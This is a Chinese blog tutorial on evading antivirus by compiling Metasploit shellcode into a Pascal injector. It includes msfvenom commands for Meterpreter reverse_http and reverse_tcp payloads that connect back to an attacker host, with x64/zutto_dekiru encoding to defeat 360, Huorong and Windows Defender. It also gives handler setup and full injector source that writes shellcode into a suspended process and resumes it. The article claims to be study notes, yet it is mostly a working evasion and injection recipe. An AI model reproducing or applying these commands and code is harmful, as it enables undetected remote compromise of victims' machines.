首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用Pascal+zutto_dekiru进行免杀

利用Pascal+zutto_dekiru进行免杀

作者头像
潇湘信安
发布2022-04-01 21:32:07
7490
发布2022-04-01 21:32:07
举报
文章被收录于专栏:潇湘信安潇湘信安

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

0x01 前言

最近在知识星球看到@冷逸师傅分享的一个Pascal语言shellcode注入项目,因为Pascal为冷门语言,所以大概率不会被查杀,所以可以用这个项目来对我们的马儿进行免杀处理。

项目地址:https://github.com/0xsp-SRD/OffensivePascal

0x02 项目测试

在测试这个项目前我们得先装好Lazarus环境,然后将OffensivePascal项目下载到本地,使用作者给出的msfvenom命令生成Pascalg格式的shellcode,并将其全部放置在一行。

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.120 LPORT=443 -f c | sed -r 's/[\x]+/$/g' | sed -r 's/[\]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/\,/' | cut -c 2-

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 192.168.1.120
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit
图片
图片
图片
图片

接着在Lazarus环境中打开OffensivePascal项目Simple Shellcode injection文件夹中injector.lpr,将处理好的Pascalg格式的shellcode替换到shellcode:array中,然后进行编译即可。

图片
图片

这里需要注意下msfvenom生成的payload大小,因为要删除掉shellcode后的;,,所以在injector.lpr源代码中填写payload大小时可能要-1,如果填写的不对在编译时就可能会出现报错,如下图。

图片
图片

这里我们用360、火绒、PC和Server端的windows defender来扫描下刚编译的injector.exe,看下是否已经能够免杀?在下图中可以看到360是免杀了,但是火绒和windows defender还是查杀到了。

图片
图片
图片
图片

0x03 免杀处理

直接用作者给的msfvenom命令生成的shellcode编译的exe已经被火绒和windows defender查杀,但如果不加那段shellcode就不会被杀,所以我们还需要做进一步的免杀处理。

图片
图片

经过测试后发现其实很简单,只要在msfvenom生成shellcode时使用-e参数加上zutto_dekiru编码即可实现免杀,次数也可以用-i参数控制,可同时免杀360、火绒、金山毒霸、PC和Server端的windows defender。

图片
图片
图片
图片
图片
图片

接着我们再按以上的测试流程重新走一遍就行了,生成shellcode->处理shellcode->替换shellcode->编译exe->执行上线,都是一些重复的操作,就不详细写了,这时可以看到执行后已经成功上线了。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -e x64/zutto_dekiru -i 5 -f c | sed -r 's/[\x]+/$/g' | sed -r 's/[\]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/\,/' | cut -c 2-

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.120
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit
图片
图片

injector.lpr:

{
  this one is part of repo published on github under the name of Offensive Pascal
  Pascal is a great and still up to date :)
  these projects can be compilied using FreePascal (FPC)
  or Delphi

  author : @zux0x3a
  site :   0xsp.com / ired.dev
  https://github.com/0xsp-SRD/OffensivePascal

 }

program injector;

{$mode delphi}

uses

  Classes,windows;

procedure inject_shell;
const
  //Windows x64 MessageBox Shellcode (434 bytes)
  shellcode:array[0..768] of BYTE = (
  Insert Shellcode Here);

var
  pi: TProcessInformation;
  si: TStartupInfo;
  {$ifdef win32}
  ctx: Context;
  {$endif}

  {$ifdef win64}
  ctx : Pcontext;
  {$endif}
  remote_shellcodePtr: Pointer;
  {$ifdef win64}
  Written:dword64;
  {$endif}
   {$ifdef win32}
  Written:dword;
  {$endif}
  AppToLaunch: string;
  i ,s_size: Cardinal;
  shell_prt : string ;
 shell_code :  array of byte;

begin

AppToLaunch := 'notepad.exe';
UniqueString(AppToLaunch);

FillMemory( @si, sizeof( si ), 0 );
FillMemory( @pi, sizeof( pi ), 0 );

writeln('[+] Creating Process in Suspended Mode');

CreateProcess('c:\windows\system32\cmd.exe', PChar(AppToLaunch), nil, nil, False,
              CREATE_SUSPENDED,
              nil, nil,  si, pi );

 {$ifdef win32}
 ctx.ContextFlags := CONTEXT_CONTROL;
 GetThreadContext(pi.hThread,ctx);
 {$endif}

 {$ifdef win64}
  ctx := PCONTEXT(VirtualAlloc(nil, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE));
  ctx.ContextFlags := CONTEXT_ALL;
  GetThreadContext(pi.hThread,ctx^);
 {$endif}

 //allocate the memory size
 remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,s_size,MEM_COMMIT,
   PAGE_EXECUTE_READWRITE);

 // write array of bytes into process memory
 WriteProcessMemory(pi.hProcess,remote_shellcodePtr,@shellcode,s_size,written);

{$ifdef win64}
 ctx.rip:=dword64(remote_shellcodePtr);
 //ctx.ContextFlags := CONTEXT_CONTROL;
 SetThreadContext(pi.hThread,ctx^);
 ResumeThread(pi.hThread);
{$ENDIF}

{$ifdef win32}
 ctx.Eip:=integer(remote_shellcodePtr);
 ctx.ContextFlags := CONTEXT_CONTROL;
 SetThreadContext(pi.hThread,ctx);

 ResumeThread(pi.hThread);
{$endif}

 end;

begin
  inject_shell;
end.

0x04 注意事项

这种免杀方式只能过杀软的静态查杀,在Meterpreter会话中执行getsystem提权、 migrate进程迁移等命令时还是会被windows defender阻止,这里我也只是简单测试了下PC的windows defender,至于360、火绒等其他安全防护产品还会拦截哪些操作和行为还请自行测试...。

图片
图片
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-03-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档